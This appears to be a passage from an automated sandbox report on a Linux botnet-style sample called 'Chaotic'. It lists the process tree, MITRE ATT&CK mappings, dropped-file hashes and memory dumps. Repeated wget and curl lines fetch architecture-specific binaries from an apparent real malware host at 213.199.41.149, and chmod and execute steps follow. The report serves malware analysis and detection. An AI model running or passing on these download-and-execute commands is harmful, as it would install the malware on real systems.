  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic config-err-XDxoSA netplan_f_h8ze_e snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1631
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1632
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:1638
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:1639
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic config-err-XDxoSA netplan_f_h8ze_e snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1641
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1642
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:1648
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:1649
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic config-err-XDxoSA netplan_f_h8ze_e snap-private-tmp ssh-J64SSqjs5tXF systemd-private-d68236a8879f4d0f97016e0c5b378082-bolt.service-xLvsXs systemd-private-d68236a8879f4d0f97016e0c5b378082-colord.service-xZhE1x systemd-private-d68236a8879f4d0f97016e0c5b378082-ModemManager.service-z77pkT systemd-private-d68236a8879f4d0f97016e0c5b378082-systemd-resolved.service-NmAYj7 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sh4 ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1651
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/Chaotic

Filesize
37KB

MD5
0d6e1b9b64e7264be82e54ce16625d3d

SHA1
e7bdee0a6c0edf518ce58dec54ee07c19b0f4f3b

SHA256
1bfbf7137af8f36627159116bc0dbfe916315853c6eb61b7d6011224699487f3

SHA512
ab43d184b61391ab72085da965fe0498cc99e69f4f87eab448f3c72c3f7e755e9a062af17db0cc5c2117d421a5bf53505b1676ebf554021e356ca8e2cfd41c4b

Download Submit
/tmp/busybox

Filesize
2.0MB

MD5
b4dede5fc0b1bad5cb8e901bde126b97

SHA1
10cbe9a418ad84a1ed297948539d37aeb58dd810

SHA256
a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020

SHA512
45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6

Download Submit
/tmp/ub8ehJSePAfc9FYqZIT6.arc

Filesize
113KB

MD5
c62f59a26c1abbde3c399b007d42f689

SHA1
32f5fe369907ad84049758e7ec698b780ab5e1b7

SHA256
05e5bbf635a0d5600f4a5814c743b599891556c9812d3ea898546047fe941009

SHA512
d9adf2245cd257113dbf4174af3cdad0a36ba1ceed88ddbe0b83fbb92decbf5154b759dfb56a6ac5d62ebc2a1a511a5ecc8b99da6e550c04458ff78b149fe6ac

Download Submit
memory/1520-1-0x0000000008048000-0x000000000805bc08-memory.dmp

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memory/1530-2-0x0000000008048000-0x000000000805bc08-memory.dmp

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memory/1540-3-0x0000000008048000-0x000000000805bc08-memory.dmp

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memory/1550-4-0x0000000008048000-0x000000000805bc08-memory.dmp

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memory/1560-5-0x0000000008048000-0x000000000805bc08-memory.dmp

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memory/1570-6-0x0000000008048000-0x000000000805bc08-memory.dmp

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memory/1582-7-0x0000000008048000-0x000000000805bc08-memory.dmp

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memory/1592-8-0x0000000008048000-0x000000000805bc08-memory.dmp

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memory/1602-9-0x0000000008048000-0x000000000805bc08-memory.dmp

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memory/1612-10-0x0000000008048000-0x000000000805bc08-memory.dmp

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memory/1622-11-0x0000000008048000-0x000000000805bc08-memory.dmp

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memory/1632-12-0x0000000008048000-0x000000000805bc08-memory.dmp

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memory/1642-13-0x0000000008048000-0x000000000805bc08-memory.dmp

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memory/1652-14-0x0000000008048000-0x000000000805bc08-memory.dmp

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